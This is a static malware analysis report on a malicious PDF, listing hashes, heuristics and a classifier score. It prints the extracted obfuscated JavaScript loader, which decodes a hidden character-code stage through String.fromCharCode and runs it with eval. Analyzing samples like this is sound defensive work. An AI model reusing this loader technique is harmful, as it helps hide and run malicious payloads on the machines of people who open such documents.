Malicious PDF — malware analysis report

Static analysis result for SHA-256 2f9c6a4bf149ccf7…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-07
MD5: 1923a5fca59f8673d82ca995a7f62e66 SHA-1: 4842d6b3b89f472c1233d2bb290f1c5f497ed340 SHA-256: 2f9c6a4bf149ccf7e0bb0e186b92d1dc1ef1915ae2b1d7c54a7eb81a0bca6e09
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to execute malicious code or exploit vulnerabilities within PDF viewers. The presence of JavaScript actions and embedded JS streams indicates an attempt to run code, likely for delivering a secondary payload or performing other malicious actions.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB023 445 bytes
SHA-256: ece86bcf6b5e10ba2cb3f8739c033641f5b2c5854e0d6e4fc1450ee73e22e474
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
gio='';
dknqt=('qwrwqr','tit');
e('ftf=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
xdsfz=e('String.fr'+ftf.substr(0,10));
figj = e(ftf.substr(10)['replace'](/u/g,','));
e('k=figj.length');
for (i = 0; i < k; i+=2) {
	ugmvf = figj[i+1] + ('erybjkerl',figj[i]);
	gio += xdsfz(ugmvf);
}
e(gio);

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